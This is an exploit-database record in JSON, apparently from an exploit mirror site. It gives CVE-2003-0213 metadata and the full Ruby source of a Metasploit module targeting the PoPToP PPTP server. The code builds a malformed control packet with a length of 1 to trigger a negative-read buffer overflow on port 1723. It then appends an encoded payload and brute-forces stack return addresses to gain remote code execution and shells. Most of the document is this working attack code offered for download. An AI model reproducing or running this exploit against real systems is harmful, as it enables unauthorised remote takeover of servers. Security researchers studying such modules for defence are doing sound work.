{"exploit":{"id":"EDB-16845","name":"PoPToP - Negative Read Overflow (Metasploit)","description":"PoPToP - Negative Read Overflow (Metasploit)","cves":["CVE-2003-0213"],"author":"Metasploit","published":"2010-11-23","platform":"linux","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16845","path":"exploits/linux/remote/16845.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16845.rb","vulnerabilities":[{"id":"CVE-2003-0213","state":"PUBLISHED","title":null,"titleSource":null,"description":"ctrlpacket.c in PoPToP PPTP server before 1.1.4-b3 allows remote attackers to cause a denial of service via a length field of 0 or 1, which causes a negative value to be fed into a read operation, leading to a buffer overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0213","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0213"},"updatedAt":"2024-08-08T01:43:36.037Z","retrievedAt":"2026-11-27T16:08:42.079Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16845.png?v=2","url":"https://exploitbin.com/exploits/EDB-16845","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16845/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16845/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: poptop_negative_read.rb 11114 2010-11-23 18:12:08Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\tinclude Msf::Exploit::Remote::Brute\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Poptop Negative Read Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis is an exploit for the Poptop negative read overflow.  This will\n\t\t\t\twork against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I\n\t\t\t\tcurrently do not have a good way to detect Poptop versions.\n\n\t\t\t\tThe server will by default only allow 4 concurrent manager processes\n\t\t\t\t(what we run our code in), so you could have a max of 4 shells at once.\n\n\t\t\t\tUsing the current method of exploitation, our socket will be closed\n\t\t\t\tbefore we have the ability to run code, preventing the use of Findsock.\n\t\t\t},\n\t\t\t'Author'         => 'spoonm',\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 11114 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2003-0213'],\n\t\t\t\t\t['OSVDB', '3293'],\n\t\t\t\t\t['URL',   'http://securityfocus.com/archive/1/317995'],\n\t\t\t\t\t['URL',   'http://www.freewebs.com/blightninjas/'],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t# Payload space is dynamically determined\n\t\t\t\t\t'MinNops'         => 16,\n\t\t\t\t\t'StackAdjustment' => -1088,\n\t\t\t\t\t'Compat'          =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'ConnectionType' => '-find',\n\t\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t'SaveRegisters'  => [ 'esp' ],\n\t\t\t'Platform'       => 'linux',\n\t\t\t'Arch'           => ARCH_X86,\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t['Linux Bruteforce',\n\t\t\t\t\t\t{ 'Bruteforce' =>\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t'Start'  => { 'Ret' => 0xbffffa00 },\n\t\t\t\t\t\t\t\t'Stop'   => { 'Ret' => 0xbffff000 },\n\t\t\t\t\t\t\t\t'Step'   => 0\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Apr 9 2003'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(1723)\n\t\t\t], self.class)\n\n\t\tregister_advanced_options(\n\t\t\t[\n\t\t\t\tOptInt.new(\"PreReturnLength\", [ true, \"Space before we hit the return address.  Affects PayloadSpace.\", 220 ]),\n\t\t\t\tOptInt.new(\"RetLength\",       [ true, \"Length of returns after payload.\", 32 ]),\n\t\t\t\tOptInt.new(\"ExtraSpace\",      [ true, \"The exploit builds two protocol frames, the header frame and the control frame. ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data (these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.\", 0 ]),\n\t\t\t\tOptString.new(\"Hostname\",     [ false, \"PPTP Packet hostname\", '' ]),\n\t\t\t\tOptString.new(\"Vendor\",       [ true, \"PPTP Packet vendor\", 'Microsoft Windows NT' ]),\n\t\t\t], self.class)\n\tend\n\n\t# Dynamic payload space calculation\n\tdef payload_space(explicit_target = nil)\n\t\tdatastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i\n\tend\n\n\tdef build_packet(length)\n\t\t[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +\n\t\t\t[1,0].pack('cc') +\n\t\t\t[0].pack('n') +\n\t\t\t[1,1,0,2600].pack('NNnn') +\n\t\t\tdatastore['Hostname'].ljust(64, \"\\x00\") +\n\t\t\tdatastore['Vendor'].ljust(64, \"\\x00\")\n\tend\n\n\tdef check\n\t\tconnect\n\t\tsock.put(build_packet(156))\n\t\tres = sock.get_once\n\n\t\tif res and res =~ /MoretonBay/\n\t\t\treturn CheckCode::Detected\n\t\tend\n\n\t\treturn CheckCode::Safe\n\tend\n\n\tdef brute_exploit(addrs)\n\t\tconnect\n\n\t\tprint_status(\"Trying #{\"%.8x\" % addrs['Ret']}...\")\n\n\t\t# Construct the evil length packet\n\t\tpacket =\n\t\t\tbuild_packet(1) +\n\t\t\tpayload.encoded +\n\t\t\t([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))\n\n\t\tsock.put(packet)\n\n\t\thandler\n\t\tdisconnect\n\tend\n\nend","sha256":"f8b2753cde87a70486c3d516486c01499be28010ff672ed50e3b1b1b3c5ab7ea","bytes":4011,"fetchedAt":"2026-11-27T16:08:40.950Z","encoding":"utf-8 (display only; download retains original bytes)"}